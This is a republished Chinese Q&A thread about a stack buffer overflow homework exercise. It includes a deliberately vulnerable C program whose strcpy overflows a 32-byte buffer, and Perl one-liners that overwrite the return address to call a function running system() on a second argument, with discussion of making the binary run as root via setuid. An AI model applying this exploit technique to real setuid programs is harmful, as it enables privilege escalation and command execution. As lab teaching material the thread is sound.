微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

利用堆栈缓冲区溢出

如何解决利用堆栈缓冲区溢出

我正在执行缓冲区溢出分配,但我坚持使用此命令的语法:

$ ./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"' | touch test.txt)

我们希望使用这种内衬而不是外壳。返回地址是正确的,它将我带到程序集中的正确位置,但是当我运行它时,函数以标准用户身份执行,而不是以 root 身份运行。

据我所知,问题在于语法或引号。

我怎样才能纠正一个班轮?

脚本来源

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

char arg1[60];
char arg2[60];

void func(char *s){
    char buf[32];
    strcpy(buf,s);
    
    printf("you entered: %s\n",buf);
}

void secret(){
  system(arg2);
}

int main(int argc,char *argv[]){
    if(argc < 2){
        printf("Usage: %s some_string\n",argv[0]);
        return 2;
    }
    strcpy(arg1,argv[1]);

    if (argc == 3) {
      strcpy(arg2,argv[2]);
    }
      
    func(argv[1]);
    return 0;
}

解决方法

我认为您不需要说 | touch test.txt) 的部分。

./script $(perl -e 'print "A" x 36 . "\x40\x83\x04\x08"') "touch test.txt"

应该可以。

我不确定您为什么将 shell 脚本的输出通过管道传输到 touch 命令(我假设您要利用的缓冲区溢出在脚本中,并且它最终以某种方式使用第二个参数作为函数的参数)。

就为什么以普通用户身份执行而言,在您的场景中,您的 shell 以普通用户身份运行 touch。我认为您想要做的是以 root 身份运行脚本(通过将其设置为 setuid binary 或仅使用 sudo 运行程序,并使脚本实际执行对 system("touch ..."); 的调用.

,

经过一些修补和社区的大量帮助后,决议是使用:

./step4 `perl -e 'print "A" x 36 . "\x94\x84\x04\x08"'` "touch test.txt"

我检查了 gdb 中的程序集,调用了秘密函数的正确地址,并通过将 $() 交换为反引号,攻击按预期执行。非常感谢 Marco 在这方面的帮助。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。